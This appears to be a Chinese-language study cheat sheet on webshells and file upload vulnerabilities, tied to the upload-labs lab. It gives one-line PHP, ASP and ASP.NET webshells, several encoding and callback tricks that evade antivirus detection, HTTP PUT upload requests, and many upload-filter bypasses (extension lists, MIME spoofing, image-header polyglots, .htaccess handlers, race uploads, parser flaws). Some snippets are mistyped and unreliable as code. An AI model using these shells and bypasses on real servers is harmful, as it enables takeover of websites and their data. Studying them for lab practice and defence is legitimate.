webshell,文件上传漏洞
- webshell:
- 概述
- 一句话木马:
- 木马免杀:
- 中国菜刀:
- 验证开启http方法
- 文件上传绕过:(upload-labs)
- 黑名单爆破:
- 前端验证:
- js脚本验证:
- MINI type:(Content-type)
- 内容验证文件包含:
- window特性
- 空格点号绕过:
- ::$DATA特殊字符:
webshell:
概述
网站后门,命令解释器,web用户权限,web(HTTP协议)方式通信(.php/.asp/.aspx/.jsp )
一句话木马:
asp:
`<%eval reuquest(\"cmd\")%>`
php:
<?php @eval($_REQUEST[\'cmd\']);?>
asp.net:
<%@ Page Language=\"Jscript\"%><%eval(Request.item[\"cmd\"],\"unsafe\");%>
木马免杀:
1.字符串变形:
$a=substr_replace(\"assexx\",\"rt\",4)$a($_POST[cmd])
2.定义函数绕过:
Function aa($a){$a($_POST[cmd]);} aa(assert);Function aa($a){assert($a);} kdog($_POST[cmd]);
3.回调函数:
<?php Function test($a,$b){Arrary_map($a,$b); test(assert,array($_POST[cmd]))}; ?>
4.数组:
$a=substr_replace(\"assexx\",\"rt\",4) $b=[\'\'=>$a($_POST[\'cmd\'])];
5.类:
<?php Class test{Var $a; Var $b; Function_consteuct($a,$b){$this->a=$a; $this->b=$b;}Function a(){Arrary_map($this->a,$this->b);}}$p=new test(assert,arrary($_POST[cmd])); $p->test()>
6.编码;
base64
<?php $a=base64_decode(\"YXNz+ZX_J_0\"); $a($_post[cmd]);?>
异或
<?php $a=(\"!\" ^ \"@\").\'ssert\'; $a($_GET[cmd]) ?>
7.无字符特征码(ascii16进制,url编码)
中国菜刀:
1.文件管理
2.虚拟终端
3.数据库管理
文件上传漏洞
前提:
能上传木马,木马可执行,已知上传路径
验证开启http方法
OPTIONS :
OPTIONS HTTP/1.1HOST:[IP]
PUT方法上传文件:
PUT /a.php HTTP1.1HOST: 192.168.238.131Content-Length:18<?php phpinfo();?>
复制COPY
COPY/HTTP1.1Host:ipDestination:url/123.asp;123.jpg
删除DELETE
DELETE/HTTP1.1Host:ipDestination:url/123.asp
文件上传绕过:(upload-labs)
黑名单爆破:
php:.php/.php2./php3/.php5/.phtml
asp:.asp/.aspx/.ascx/.ashx/.asa/.cer
js:.jsp/.jspx
前端验证:
上传info.jpg bp改包
js脚本验证:
删除函数
MINI type:(Content-type)
.js: application/x-javascript
.html:texxt/html
.jpg:image/jpeg
.png:image/png
.pdf:application/pdf
内容验证文件包含:
文件头加GIF89a,GIF87a
copy 1.png/b + a.php/a 2.png(cmd:/b 二进制jpg,/a ascii info合成a.jpg)
文件标识
png:
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg:
FF DB FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
gif:
47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
window特性
空格点号绕过:
::$DATA特殊字符:
00截断
get型:
POST型:
.htassess:apache配置文件
以.php解析当前目录下所有文件
SetHander application/x-httpd-php
竞争上传:
<?php fputs(fopen(\'shell.php\',\'w\'),\'<?php phpinfo();?>\');?>
bp一直上传文件。
bp一直访问上传的文件
APACHE解析漏洞:apache从右往左 识别文件后缀
IIS6.0解析漏洞:
上传文件解析漏洞文件名:xxx.asp;.xx目录名:xx.asp以下文件会以asp类型解析